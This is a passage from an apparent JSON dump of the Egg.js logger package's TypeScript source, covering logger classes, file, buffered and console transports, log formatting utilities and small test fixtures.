    "content": "import path from 'node:path';\n\nimport type { LoggerLevel } from '../level.ts';\nimport { Logger } from '../logger.ts';\nimport { ConsoleTransport } from '../transports/console.ts';\nimport { FileTransport } from '../transports/file.ts';\nimport { FileBufferTransport } from '../transports/file_buffer.ts';\nimport { defaultFormatter, consoleFormatter, assign, type EggLoggerOptions } from '../utils.ts';\n\n/**\n * Egg Logger: supports File, BufferedFile and Console transports.\n */\nexport class EggLogger extends Logger {\n  readonly opts: EggLoggerOptions;\n\n  constructor(options?: Partial<EggLoggerOptions>) {\n    super();\n    this.opts = assign<EggLoggerOptions>({}, this.defaults, options);\n    // Keep this.options for external backward compatibility\n    this.options = this.opts;\n\n    const { opts } = this;\n\n    if (opts.file && opts.dir && !path.isAbsolute(opts.file)) {\n      opts.file = path.join(opts.dir, opts.file);\n    }\n\n    if (opts.outputJSON === true && opts.file) {\n      opts.jsonFile = opts.file.replace(/\\.log$/, '.json.log');\n    }\n\n    const EggFileTransport = opts.buffer === true ? FileBufferTransport : FileTransport;\n\n    if (!opts.outputJSONOnly && opts.file) {\n      this.set(\n        'file',\n        new EggFileTransport({\n          file: opts.file!,\n          level: opts.level ?? 'INFO',\n          encoding: opts.encoding,\n          formatter: opts.formatter,\n          contextFormatter: opts.contextFormatter,\n          paddingMessageFormatter: opts.paddingMessageFormatter,\n          flushInterval: opts.flushInterval,\n          eol: opts.eol,\n          localStorage: opts.localStorage,\n          dateISOFormat: opts.dateISOFormat,\n          maxCauseChainLength: opts.maxCauseChainLength,\n        }),\n      );\n    }\n\n    if (opts.jsonFile) {\n      this.set(\n        'jsonFile',\n        new EggFileTransport({\n          file: opts.jsonFile,\n          level: opts.level ?? 'INFO',\n          encoding: opts.encoding,\n          flushInterval: opts.flushInterval,\n          json: true,\n          eol: opts.eol,\n          localStorage: opts.localStorage,\n          dateISOFormat: opts.dateISOFormat,\n          maxCauseChainLength: opts.maxCauseChainLength,\n        }),\n      );\n    }\n\n    this.set(\n      'console',\n      new ConsoleTransport({\n        level: opts.consoleLevel ?? 'NONE',\n        formatter: consoleFormatter,\n        contextFormatter: opts.contextFormatter,\n        paddingMessageFormatter: opts.paddingMessageFormatter,\n        eol: opts.eol,\n        localStorage: opts.localStorage,\n        dateISOFormat: opts.dateISOFormat,\n        maxCauseChainLength: opts.maxCauseChainLength,\n      }),\n    );\n  }\n\n  get level(): LoggerLevel {\n    return this.opts.level!;\n  }\n\n  set level(level: LoggerLevel) {\n    this.opts.level = level;\n    for (const transport of this.values()) {\n      if (transport instanceof ConsoleTransport) continue;\n      transport.level = level;\n    }\n  }\n\n  get consoleLevel(): LoggerLevel {\n    return this.opts.consoleLevel!;\n  }\n\n  set consoleLevel(level: LoggerLevel) {\n    this.opts.consoleLevel = level;\n    for (const transport of this.values()) {\n      if (transport instanceof ConsoleTransport) {\n        transport.level = level;\n      }\n    }\n  }\n\n  get defaults(): Partial<EggLoggerOptions> {\n    return {\n      file: null,\n      encoding: 'utf8',\n      level: 'INFO',\n      consoleLevel: 'NONE',\n      formatter: defaultFormatter,\n      buffer: true,\n      outputJSON: false,\n      outputJSONOnly: false,\n      dateISOFormat: false,\n      jsonFile: '',\n      maxCauseChainLength: 10,\n    };\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/egg/loggers.ts",
    "content": "import assert from 'node:assert';\nimport { debuglog } from 'node:util';\n\nimport type { Logger } from '../logger.ts';\nimport { assign, type EggLoggerOptions, type EggLoggersOptions, type EggLoggersConfig } from '../utils.ts';\nimport { EggCustomLogger } from './custom_logger.ts';\nimport { EggErrorLogger } from './error_logger.ts';\nimport { EggLogger } from './logger.ts';\n\nconst debug = debuglog('egg:logger');\n\nconst defaults: EggLoggersOptions = {\n  env: 'default',\n  type: '',\n  dir: '',\n  encoding: 'utf8',\n  level: 'INFO',\n  outputJSON: false,\n  outputJSONOnly: false,\n  buffer: true,\n  appLogName: '',\n  coreLogName: '',\n  agentLogName: '',\n  errorLogName: '',\n  concentrateError: 'duplicate',\n  concentrateErrorLoggerName: 'errorLogger',\n};\n\n/**\n * Logger Manager - creates and manages multiple loggers based on configuration.\n */\nexport class EggLoggers extends Map<string, Logger> {\n  [key: string]: unknown;\n\n  constructor(config: EggLoggersConfig) {\n    super();\n\n    const loggerConfig = assign<EggLoggersOptions>({}, defaults, config.logger);\n\n    // Default consoleLevel based on egg env when not explicitly provided\n    if (loggerConfig.consoleLevel === undefined) {\n      const env = loggerConfig.env ?? 'default';\n      loggerConfig.consoleLevel = env === 'local' || env === 'unittest' ? 'INFO' : 'NONE';\n    }\n\n    const customLoggerConfig = config.customLogger ?? {};\n\n    debug('Init loggers with options %j', loggerConfig);\n    assert(loggerConfig.type, 'should pass config.logger.type');\n    assert(loggerConfig.dir, 'should pass config.logger.dir');\n    assert(loggerConfig.appLogName, 'should pass config.logger.appLogName');\n    assert(loggerConfig.coreLogName, 'should pass config.logger.coreLogName');\n    assert(loggerConfig.agentLogName, 'should pass config.logger.agentLogName');\n    assert(loggerConfig.errorLogName, 'should pass config.logger.errorLogName');\n\n    const errorLogger = new EggErrorLogger(\n      assign<EggLoggerOptions>({}, loggerConfig, { file: loggerConfig.errorLogName }),\n    );\n    this.set('errorLogger', errorLogger);\n\n    let coreLogger: EggLogger;\n    let logger: EggLogger;\n\n    if (loggerConfig.type === 'agent') {\n      logger = new EggLogger(assign<EggLoggerOptions>({}, loggerConfig, { file: loggerConfig.agentLogName }));\n      coreLogger = new EggLogger(\n        assign<EggLoggerOptions>({}, loggerConfig, loggerConfig.coreLogger, { file: loggerConfig.agentLogName }),\n      );\n    } else {\n      logger = new EggLogger(assign<EggLoggerOptions>({}, loggerConfig, { file: loggerConfig.appLogName }));\n      coreLogger = new EggLogger(\n        assign<EggLoggerOptions>({}, loggerConfig, loggerConfig.coreLogger, { file: loggerConfig.coreLogName }),\n      );\n    }\n\n    this.set('logger', logger);\n    this.set('coreLogger', coreLogger);\n\n    for (const name in customLoggerConfig) {\n      const customLogger = new EggCustomLogger(assign<EggLoggerOptions>({}, loggerConfig, customLoggerConfig[name]));\n      this.set(name, customLogger);\n    }\n\n    // Set concentrate error at the end\n    this.setConcentrateError('logger', logger);\n    this.setConcentrateError('coreLogger', coreLogger);\n    for (const name in customLoggerConfig) {\n      this.setConcentrateError(name, this.get(name)!);\n    }\n  }\n\n  override set(name: string, logger: Logger): this {\n    if (this.has(name)) return this;\n    this[name] = logger;\n    super.set(name, logger);\n    return this;\n  }\n\n  disableConsole(): void {\n    for (const logger of this.values()) {\n      logger.disable('console');\n    }\n  }\n\n  reload(): void {\n    for (const logger of this.values()) {\n      logger.reload();\n    }\n  }\n\n  setConcentrateError(name: string, logger: Logger): void {\n    if (name === 'errorLogger') return;\n    const opts = (logger as EggLogger).opts;\n    const concentrateLoggerName = opts.concentrateErrorLoggerName ?? 'errorLogger';\n    const concentrateLogger = this.get(concentrateLoggerName);\n    if (!concentrateLogger) return;\n\n    switch (opts.concentrateError) {\n      case 'duplicate':\n        logger.duplicate('ERROR', concentrateLogger, { excludes: ['console'] });\n        break;\n      case 'redirect':\n        logger.redirect('ERROR', concentrateLogger);\n        break;\n      case 'ignore':\n        break;\n      default:\n        break;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/index.ts",
    "content": "export { levels, ALL, DEBUG, INFO, WARN, ERROR, NONE } from './level.ts';\nexport type { LoggerLevel } from './level.ts';\n\nexport { Logger } from './logger.ts';\nexport { formatError, defaultFormatter, consoleFormatter, defaultContextPaddingMessage } from './utils.ts';\nexport type {\n  LoggerMeta,\n  TransportOptions,\n  FileTransportOptions,\n  ConsoleTransportOptions,\n  EggLoggerOptions,\n  EggLoggersOptions,\n  EggLoggersConfig,\n  EggConsoleLoggerOptions,\n} from './utils.ts';\n\nexport { Transport } from './transports/transport.ts';\nexport { ConsoleTransport } from './transports/console.ts';\nexport { FileTransport } from './transports/file.ts';\nexport { FileBufferTransport } from './transports/file_buffer.ts';\n\nexport { EggLogger } from './egg/logger.ts';\nexport { EggErrorLogger } from './egg/error_logger.ts';\nexport { EggConsoleLogger } from './egg/console_logger.ts';\nexport { EggCustomLogger } from './egg/custom_logger.ts';\nexport { EggLoggers } from './egg/loggers.ts';\n"
  },
  {
    "path": "packages/logger/src/level.ts",
    "content": "export const ALL: number = -Infinity;\n\n/** Debug log for execute tracing */\nexport const DEBUG: number = 0;\n\n/** Normal information logging */\nexport const INFO: number = 1;\n\n/** Warning information logging */\nexport const WARN: number = 2;\n\n/** Error or exception logging */\nexport const ERROR: number = 3;\n\nexport const NONE: number = Infinity;\n\nexport type LoggerLevel = 'ALL' | 'DEBUG' | 'INFO' | 'WARN' | 'ERROR' | 'NONE';\n\nexport const levels: Record<string, number> = {\n  ALL,\n  DEBUG,\n  INFO,\n  WARN,\n  ERROR,\n  NONE,\n};\n"
  },
  {
    "path": "packages/logger/src/logger.ts",
    "content": "import util from 'node:util';\n\nimport type { LoggerLevel } from './level.ts';\nimport type { Transport } from './transports/transport.ts';\nimport type { LoggerMeta } from './utils.ts';\n\nexport interface DuplicateLoggerEntry {\n  logger: Logger;\n  options: { excludes?: string[] };\n}\n\n/**\n * Base class for all Logger classes.\n * It extends Map and can contain multiple Transports.\n */\nexport class Logger<T extends Transport = Transport> extends Map<string, T> {\n  options: Record<string, unknown>;\n  name: string;\n  redirectLoggers: Map<string, Logger>;\n  duplicateLoggers: Map<string, DuplicateLoggerEntry>;\n\n  constructor(options?: Record<string, unknown>) {\n    super();\n    this.options = Object.assign({}, options);\n    this.name = this.constructor.name;\n    this.redirectLoggers = new Map();\n    this.duplicateLoggers = new Map();\n  }\n\n  disable(name: string): void {\n    const transport = this.get(name);\n    if (transport) transport.disable();\n  }\n\n  enable(name: string): void {\n    const transport = this.get(name);\n    if (transport) transport.enable();\n  }\n\n  log(level: string, args: unknown[], meta?: LoggerMeta): void {\n    let excludes: string[] | undefined;\n    const dupEntry = this.duplicateLoggers.get(level);\n    let dupLogger: Logger | undefined;\n\n    if (dupEntry) {\n      excludes = dupEntry.options.excludes;\n      dupLogger = dupEntry.logger;\n      dupLogger.log(level, args, meta);\n    } else {\n      const redirectLogger = this.redirectLoggers.get(level);\n      if (redirectLogger) {\n        redirectLogger.log(level, args, meta);\n        return;\n      }\n    }\n\n    for (const [key, transport] of this.entries()) {\n      if (transport.shouldLog(level) && !(excludes && excludes.includes(key))) {\n        transport.log(level, args, meta);\n      }\n    }\n  }\n\n  write(msg: string, ...rest: unknown[]): void {\n    if (rest.length > 0) msg = util.format(msg, ...rest);\n    this.log('NONE', [msg], { raw: true });\n  }\n\n  redirect(level: string, logger: Logger): void {\n    const lvl = level.toUpperCase() as LoggerLevel;\n    if (!this.redirectLoggers.has(lvl) && logger instanceof Logger) {\n      this.redirectLoggers.set(lvl, logger);\n    }\n  }\n\n  unredirect(level: string): void {\n    this.redirectLoggers.delete(level.toUpperCase() as LoggerLevel);\n  }\n\n  duplicate(level: string, logger: Logger, options: { excludes?: string[] } = {}): void {\n    const lvl = level.toUpperCase() as LoggerLevel;\n    if (!this.duplicateLoggers.has(lvl) && logger instanceof Logger) {\n      this.duplicateLoggers.set(lvl, { logger, options });\n    }\n  }\n\n  unduplicate(level: string): void {\n    this.duplicateLoggers.delete(level.toUpperCase() as LoggerLevel);\n  }\n\n  reload(): void {\n    for (const transport of this.values()) {\n      transport.reload();\n    }\n  }\n\n  close(): void {\n    for (const transport of this.values()) {\n      transport.close();\n    }\n  }\n\n  /** @deprecated use close() instead */\n  end(): void {\n    process.emitWarning('logger.end() is deprecated, use logger.close()', {\n      type: 'DeprecationWarning',\n      code: 'DEP_EGG_LOGGER_END',\n    });\n    this.close();\n  }\n\n  error(...args: unknown[]): void {\n    this.log('ERROR', args);\n  }\n\n  warn(...args: unknown[]): void {\n    this.log('WARN', args);\n  }\n\n  info(...args: unknown[]): void {\n    this.log('INFO', args);\n  }\n\n  debug(...args: unknown[]): void {\n    this.log('DEBUG', args);\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/transports/console.ts",
    "content": "import { levels, type LoggerLevel } from '../level.ts';\nimport { normalizeLevel, type ConsoleTransportOptions, type LoggerMeta } from '../utils.ts';\nimport { Transport } from './transport.ts';\n\n/**\n * Output log to console.\n * EGG_LOG env variable has the highest priority for log level.\n */\nexport class ConsoleTransport extends Transport {\n  declare options: ConsoleTransportOptions;\n\n  constructor(options?: Partial<ConsoleTransportOptions>) {\n    super(options);\n    this.options.stderrLevel = normalizeLevel(this.options.stderrLevel);\n    // EGG_LOG has the highest priority\n    if (process.env.EGG_LOG) {\n      this.options.level = normalizeLevel(process.env.EGG_LOG as LoggerLevel);\n    }\n  }\n\n  override get defaults(): Partial<ConsoleTransportOptions> {\n    return {\n      ...super.defaults,\n      stderrLevel: 'ERROR',\n    };\n  }\n\n  override log(level: string, args: unknown[], meta?: LoggerMeta): string | Buffer {\n    const msg = super.log(level, args, meta);\n    if (levels[level] >= (this.options.stderrLevel as number) && levels[level] < levels['NONE']) {\n      process.stderr.write(msg);\n    } else {\n      process.stdout.write(msg);\n    }\n    return msg;\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/transports/file.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\n\nimport { logDate } from 'utility';\n\nimport { type FileTransportOptions, type LoggerMeta } from '../utils.ts';\nimport { Transport } from './transport.ts';\n\ntype WriteStream = fs.WriteStream & { _onError?: (err: Error) => void };\n\n/**\n * Output log to file.\n */\nexport class FileTransport extends Transport {\n  declare options: FileTransportOptions;\n  declare _stream: WriteStream | null;\n\n  constructor(options?: Partial<FileTransportOptions>) {\n    super(options);\n    assert(this.options.file, 'should pass options.file');\n    this._stream = null;\n    this.reload();\n  }\n\n  override get defaults(): Partial<FileTransportOptions> {\n    return {\n      ...super.defaults,\n      file: null,\n      level: 'INFO',\n    };\n  }\n\n  override reload(): void {\n    this._closeStream();\n    this._stream = this._createStream();\n  }\n\n  override log(level: string, args: unknown[], meta?: LoggerMeta): string | Buffer {\n    if (!this.writable) {\n      const err = new Error(`${this.options.file} log stream had been closed`);\n      console.error(err.stack);\n      return '';\n    }\n    const buf = super.log(level, args, meta);\n    if (buf.length) {\n      this._write(buf);\n    }\n    return buf;\n  }\n\n  override close(): void {\n    this._closeStream();\n  }\n\n  get writable(): boolean {\n    return !!(this._stream && !this._stream.closed && this._stream.writable && !this._stream.destroyed);\n  }\n\n  _write(buf: string | Buffer): void {\n    this._stream!.write(buf);\n  }\n\n  _createStream(): WriteStream {\n    fs.mkdirSync(path.dirname(this.options.file!), { recursive: true });\n    const stream = fs.createWriteStream(this.options.file!, { flags: 'a' }) as WriteStream;\n\n    const onError = (err: Error): void => {\n      console.error('%s ERROR %s [egg-logger] [%s] %s', logDate(','), process.pid, this.options.file, err.stack);\n      this.reload();\n      console.warn('%s WARN %s [egg-logger] [%s] reloaded', logDate(','), process.pid, this.options.file);\n    };\n    stream.once('error', onError);\n    stream._onError = onError;\n    return stream;\n  }\n\n  _closeStream(): void {\n    if (this._stream) {\n      this._stream.end();\n      if (this._stream._onError) {\n        this._stream.removeListener('error', this._stream._onError);\n      }\n      this._stream = null;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/transports/file_buffer.ts",
    "content": "import { type FileTransportOptions } from '../utils.ts';\nimport { FileTransport } from './file.ts';\n\n/**\n * Extends FileTransport, saves log in memory and flushes to file at intervals.\n */\nexport class FileBufferTransport extends FileTransport {\n  declare _bufSize: number;\n  declare _buf: Array<string | Buffer>;\n  declare _timer: ReturnType<typeof setInterval> | null;\n\n  constructor(options?: Partial<FileTransportOptions>) {\n    super(options);\n    this._bufSize = 0;\n    this._buf = [];\n    this._timer = this._createInterval();\n  }\n\n  override get defaults(): Partial<FileTransportOptions> {\n    return {\n      ...super.defaults,\n      flushInterval: 1000,\n      maxBufferLength: 1000,\n    };\n  }\n\n  override close(): void {\n    this._closeInterval();\n    super.close();\n  }\n\n  flush(): void {\n    if (this._buf.length > 0 && this.writable) {\n      if (this.options.encoding === 'utf8') {\n        this._stream!.write((this._buf as string[]).join(''));\n      } else {\n        this._stream!.write(Buffer.concat(this._buf as Buffer[], this._bufSize));\n      }\n      this._buf = [];\n      this._bufSize = 0;\n    }\n  }\n\n  override _closeStream(): void {\n    if (this._buf && this._buf.length > 0) {\n      this.flush();\n    }\n    super._closeStream();\n  }\n\n  override _write(buf: string | Buffer): void {\n    this._bufSize += typeof buf === 'string' ? Buffer.byteLength(buf) : buf.length;\n    this._buf.push(buf);\n    if (this._buf.length > (this.options.maxBufferLength ?? 1000)) {\n      this.flush();\n    }\n  }\n\n  _createInterval(): ReturnType<typeof setInterval> {\n    const timer = setInterval(() => this.flush(), this.options.flushInterval ?? 1000);\n    timer.unref();\n    return timer;\n  }\n\n  _closeInterval(): void {\n    if (this._timer) {\n      clearInterval(this._timer);\n      this._timer = null;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/transports/transport.ts",
    "content": "import type { AsyncLocalStorage } from 'node:async_hooks';\nimport os from 'node:os';\n\nimport { levels, type LoggerLevel } from '../level.ts';\nimport { normalizeLevel, formatLog, assign, type LoggerMeta, type TransportOptions } from '../utils.ts';\n\nexport type { TransportOptions };\n\n/**\n * Transport is an output channel of the log that can be output to a file,\n * console or service.\n * A Logger can configure multiple Transports to meet a variety of complex needs.\n */\nexport class Transport {\n  options: TransportOptions;\n  #enabled = true;\n\n  constructor(options?: Partial<TransportOptions>) {\n    this.options = assign<TransportOptions>({}, this.defaults, options);\n    if (this.options.encoding === 'utf-8') {\n      this.options.encoding = 'utf8';\n    }\n    const normalizedLevel = normalizeLevel(this.options.level);\n    if (normalizedLevel !== undefined) {\n      this.options.level = normalizedLevel;\n    }\n  }\n\n  get defaults(): Partial<TransportOptions> {\n    return {\n      level: 'NONE' as LoggerLevel,\n      formatter: null,\n      contextFormatter: null,\n      json: false,\n      encoding: 'utf8',\n      eol: os.EOL,\n    };\n  }\n\n  get enabled(): boolean {\n    return this.#enabled;\n  }\n\n  enable(): void {\n    this.#enabled = true;\n  }\n\n  disable(): void {\n    this.#enabled = false;\n  }\n\n  set level(level: LoggerLevel | number) {\n    const normalized = normalizeLevel(level);\n    if (normalized !== undefined) {\n      this.options.level = normalized;\n    }\n  }\n\n  get level(): number {\n    return this.options.level as number;\n  }\n\n  shouldLog(level: string): boolean {\n    if (!this.#enabled) return false;\n    if (this.options.level === levels['NONE']) return false;\n    return (this.options.level as number) <= levels[level];\n  }\n\n  log(level: string, args: unknown[], meta?: LoggerMeta): string | Buffer {\n    if (!meta?.ctx && this.options.localStorage) {\n      const ctx = (this.options.localStorage as AsyncLocalStorage<unknown>).getStore();\n      if (ctx) {\n        meta = { ...meta, ctx };\n      }\n    }\n    return formatLog(level, args, meta, this.options);\n  }\n\n  reload(): void {}\n  close(): void {}\n  end(): void {}\n}\n"
  },
  {
    "path": "packages/logger/src/utils.ts",
    "content": "import type { AsyncLocalStorage } from 'node:async_hooks';\nimport os from 'node:os';\nimport { performance } from 'node:perf_hooks';\nimport util from 'node:util';\n\nimport { FrameworkBaseError, FrameworkErrorFormatter } from '@eggjs/errors';\nimport chalk from 'chalk';\nimport circularJSON from 'circular-json-for-egg';\nimport iconv from 'iconv-lite';\nimport { logDate } from 'utility';\n\nimport { levels, type LoggerLevel } from './level.ts';\n\nconst hostname = os.hostname();\nconst durationRegexp = /\\b(\\d+ms)\\b/g;\nconst categoryRegexp = /(\\[[\\w\\-_.:]+\\])/g; // oxlint-disable-line no-useless-escape\nconst httpMethodRegexp = /(GET|POST|PUT|PATCH|HEAD|DELETE) /g;\n\nexport interface LoggerMeta {\n  level?: string;\n  date?: string;\n  pid?: number;\n  hostname?: string;\n  message?: string;\n  paddingMessage?: string;\n  ctx?: unknown;\n  raw?: boolean;\n  formatter?: (meta: LoggerMeta) => string;\n  [key: string]: unknown;\n}\n\nexport interface TransportOptions {\n  level?: LoggerLevel | number;\n  formatter?: ((meta: LoggerMeta) => string) | null;\n  contextFormatter?: ((meta: LoggerMeta) => string) | null;\n  paddingMessageFormatter?: ((ctx: unknown) => string) | null;\n  json?: boolean;\n  dateISOFormat?: boolean;\n  encoding?: string;\n  eol?: string;\n  localStorage?: AsyncLocalStorage<unknown>;\n  maxCauseChainLength?: number;\n}\n\nexport interface FileTransportOptions extends TransportOptions {\n  file?: string | null;\n  flushInterval?: number;\n  maxBufferLength?: number;\n}\n\nexport interface ConsoleTransportOptions extends TransportOptions {\n  stderrLevel?: LoggerLevel | number;\n}\n\nexport interface EggLoggerOptions extends Omit<TransportOptions, 'level'> {\n  level?: LoggerLevel;\n  consoleLevel?: LoggerLevel;\n  file?: string | null;\n  dir?: string;\n  buffer?: boolean;\n  outputJSON?: boolean;\n  outputJSONOnly?: boolean;\n  jsonFile?: string;\n  concentrateError?: 'duplicate' | 'redirect' | 'ignore';\n  concentrateErrorLoggerName?: string;\n  flushInterval?: number;\n  [key: string]: unknown;\n}\n\nexport interface EggLoggersOptions extends EggLoggerOptions {\n  type: string;\n  env?: string;\n  appLogName: string;\n  coreLogName: string;\n  agentLogName: string;\n  errorLogName: string;\n  coreLogger?: Partial<EggLoggersOptions>;\n}\n\nexport interface EggConsoleLoggerOptions extends TransportOptions {\n  env?: string;\n}\n\nexport interface EggLoggersConfig {\n  logger: EggLoggersOptions;\n  customLogger?: Record<string, EggLoggerOptions>;\n}\n\nexport function normalizeLevel(level?: LoggerLevel | number | string): number | undefined {\n  if (typeof level === 'number') return level;\n  if (typeof level === 'string' && level) {\n    return levels[level.toUpperCase()];\n  }\n  return undefined;\n}\n\nexport function defaultContextPaddingMessage(ctx: Record<string, unknown>): string {\n  const userId = ctx.userId || '-';\n  const tracer = ctx.tracer as Record<string, unknown> | undefined;\n  const traceId = tracer?.traceId || '-';\n  let use = 0;\n  if (ctx.performanceStarttime) {\n    use = Math.floor((performance.now() - (ctx.performanceStarttime as number)) * 1000) / 1000;\n  } else if (ctx.starttime) {\n    use = Date.now() - (ctx.starttime as number);\n  }\n  return '[' + userId + '/' + (ctx.ip as string) + '/' + traceId + '/' + use + 'ms ' + ctx.method + ' ' + ctx.url + ']';\n}\n\nexport function defaultFormatter(meta: LoggerMeta): string {\n  let paddingMessage = ' ';\n  if (meta.paddingMessage) {\n    paddingMessage = ` ${meta.paddingMessage} `;\n  } else {\n    const ctx = meta.ctx;\n    if (ctx) {\n      paddingMessage = ` ${defaultContextPaddingMessage(ctx as Record<string, unknown>)} `;\n    }\n  }\n  return meta.date + ' ' + meta.level + ' ' + meta.pid + paddingMessage + meta.message;\n}\n\nexport function consoleFormatter(meta: LoggerMeta): string {\n  let paddingMessage = ' ';\n  if (meta.paddingMessage) {\n    paddingMessage = ` ${meta.paddingMessage} `;\n  }\n  let msg = meta.date + ' ' + meta.level + ' ' + meta.pid + paddingMessage + meta.message;\n  if (chalk.level === 0) return msg;\n\n  if (meta.level === 'ERROR') return chalk.red(msg);\n  if (meta.level === 'WARN') return chalk.yellow(msg);\n\n  msg = msg.replace(durationRegexp, chalk.green('$1'));\n  msg = msg.replace(categoryRegexp, chalk.blue('$1'));\n  msg = msg.replace(httpMethodRegexp, chalk.cyan('$1 '));\n  return msg;\n}\n\nexport function formatLog(\n  level: string,\n  args: unknown[],\n  meta: LoggerMeta | undefined,\n  options: TransportOptions,\n): string | Buffer {\n  meta = meta ?? {};\n  let message: string;\n  let output: string;\n  let formatter = meta.formatter ?? options.formatter;\n\n  if (meta.ctx) {\n    if (options.contextFormatter) {\n      formatter = options.contextFormatter;\n      if (!meta.paddingMessage) {\n        meta.paddingMessage = options.paddingMessageFormatter\n          ? options.paddingMessageFormatter(meta.ctx)\n          : defaultContextPaddingMessage(meta.ctx as Record<string, unknown>);\n      }\n    } else if (options.paddingMessageFormatter && !meta.paddingMessage) {\n      meta.paddingMessage = options.paddingMessageFormatter(meta.ctx);\n    }\n  }\n\n  if (args[0] instanceof Error) {\n    message = formatError(args[0], options);\n  } else {\n    message = util.format(...args);\n  }\n\n  if (meta.raw === true) {\n    output = message;\n  } else if (options.json === true || formatter) {\n    meta.level = level;\n    meta.date = options.dateISOFormat ? new Date().toISOString() : logDate(',');\n    meta.pid = process.pid;\n    meta.hostname = hostname;\n    meta.message = message;\n    if (options.json === true) {\n      const outputMeta = { ...meta, ctx: undefined };\n      output = JSON.stringify(outputMeta);\n    } else {\n      output = (formatter as (m: LoggerMeta) => string)(meta);\n    }\n  } else {\n    output = message;\n  }\n\n  if (!output) return Buffer.from('');\n\n  output += options.eol;\n\n  return options.encoding === 'utf8' ? output : iconv.encode(output, options.encoding!);\n}\n\n// Like Object.assign, but don't copy undefined values\nexport function assign<T>(target: Partial<T>, ...sources: Array<Partial<T> | null | undefined>): T {\n  const t = target as Record<string, unknown>;\n  for (const source of sources) {\n    if (source == null) continue;\n    const s = source as Record<string, unknown>;\n    for (const key of Object.keys(s)) {\n      const val = s[key];\n      if (val !== undefined) {\n        t[key] = val;\n      }\n    }\n  }\n  return target as T;\n}\n\nexport function formatError(err: Error, options?: TransportOptions, causeLength?: number): string {\n  if (FrameworkBaseError.isFrameworkError(err)) {\n    return FrameworkErrorFormatter.format(err);\n  }\n  const msg = errorToString(err, options, causeLength);\n  return util.format('%s\\npid: %s\\nhostname: %s\\n', msg, process.pid, hostname);\n}\n\nfunction errorToString(err: Error, options?: TransportOptions, causeLength = 0): string {\n  const maxCauseChainLength = options?.maxCauseChainLength ?? 10;\n\n  if (causeLength > maxCauseChainLength) return 'too long cause chain';\n\n  const e = err as Error & {\n    code?: string;\n    host?: string;\n    errors?: Error[];\n    cause?: Error;\n  };\n\n  let errName = e.name || 'no_name';\n  if (e.name === 'Error' && typeof e.code === 'string') {\n    errName = e.code + errName;\n  }\n\n  let errMessage = e.message || 'no_message';\n  if (e.host) errMessage += ` (${e.host})`;\n\n  const errStack = e.stack || 'no_stack';\n  const errProperties = Object.keys(e)\n    .map((key) => inspectProp(key, (e as unknown as Record<string, unknown>)[key]))\n    .join('\\n');\n\n  let errorString = util.format(\n    'nodejs.%s: %s\\n%s\\n%s',\n    errName,\n    errMessage,\n    errStack.substring(errStack.indexOf('\\n') + 1),\n    errProperties,\n  );\n\n  if (e.name === 'AggregateError' && e.errors) {\n    for (let i = 0; i < e.errors.length; i++) {\n      const subErrorMsg = errorToString(e.errors[i], options, causeLength + 1);\n      errorString = util.format('%s\\n[error-%d]:\\n\\n%s', errorString, i, subErrorMsg);\n    }\n  }\n\n  if (e.cause) {\n    const causeMsg = errorToString(e.cause, options, causeLength + 1);\n    errorString = util.format('%s\\ncause:\\n\\n%s', errorString, causeMsg);\n  }\n\n  return errorString;\n}\n\nfunction inspectProp(key: string, value: unknown): string {\n  return `${key}: ${formatObject(value)}`;\n}\n\nfunction formatString(str: string): string {\n  if (str.length > 10000) return `${str.substring(0, 10000)}...(${str.length})`;\n  return str;\n}\n\nfunction formatBuffer(buf: { type: string; data: number[] }): string {\n  const tail = buf.data.length > 50 ? ` ...(${buf.data.length}) ` : '';\n  const bufStr = buf.data\n    .slice(0, 50)\n    .map((i) => {\n      const hex = i.toString(16);\n      return hex.length === 1 ? `0${hex}` : hex;\n    })\n    .join(' ');\n  return `<Buffer ${bufStr}${tail}>`;\n}\n\nfunction formatObject(obj: unknown): string {\n  try {\n    return circularJSON.stringify(obj, (_key: string, v: unknown) => {\n      if (typeof v === 'string') return formatString(v);\n      if (v && (v as Record<string, unknown>).type === 'Buffer' && Array.isArray((v as Record<string, unknown>).data)) {\n        return formatBuffer(v as { type: string; data: number[] });\n      }\n      if (v instanceof RegExp) return util.inspect(v);\n      return v;\n    });\n  } catch {\n    return String(obj);\n  }\n}\n"
  },
  {
    "path": "packages/logger/src/vendor.d.ts",
    "content": "declare module 'circular-json-for-egg' {\n  const circularJSON: {\n    stringify(obj: unknown, replacer?: (key: string, value: unknown) => unknown, space?: string | number): string;\n    parse(text: string): unknown;\n  };\n  export default circularJSON;\n}\n"
  },
  {
    "path": "packages/logger/test/fixtures/console_transport.ts",
    "content": "import { Logger, ConsoleTransport } from '../../src/index.ts';\n\nconst options = process.argv[2] ? JSON.parse(process.argv[2]) : {};\nconst logger = new Logger();\nlogger.set('console', new ConsoleTransport(options));\nlogger.debug('debug foo');\nlogger.info('info foo');\nlogger.warn('warn foo');\nlogger.error('error foo');\nlogger.write('write foo');\nprocess.exit(0);\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_console_logger.ts",
    "content": "import { EggConsoleLogger } from '../../src/index.ts';\n\nconst options = process.argv[2] ? JSON.parse(process.argv[2]) : {};\nconst logger = new EggConsoleLogger(options);\nlogger.debug('debug foo');\nlogger.info('info foo');\nlogger.warn('warn foo');\nlogger.error('error foo');\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_custom_logger.ts",
    "content": "import { EggCustomLogger } from '../../src/index.ts';\n\nconst options = JSON.parse(process.argv[2]);\noptions.buffer = false;\nconst logger = new EggCustomLogger(options);\nlogger.debug('debug foo');\nlogger.info('info foo');\nlogger.warn('warn foo');\nlogger.error('error foo');\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_error_logger.ts",
    "content": "import { EggErrorLogger } from '../../src/index.ts';\n\nconst options = process.argv[2] ? JSON.parse(process.argv[2]) : {};\noptions.buffer = false;\nconst logger = new EggErrorLogger(options);\nlogger.debug('debug foo');\nlogger.info('info foo');\nlogger.warn('warn foo');\nlogger.error('error foo');\n"
  },
  {
    "path": "packages/logger/test/fixtures/egg_logger.ts",
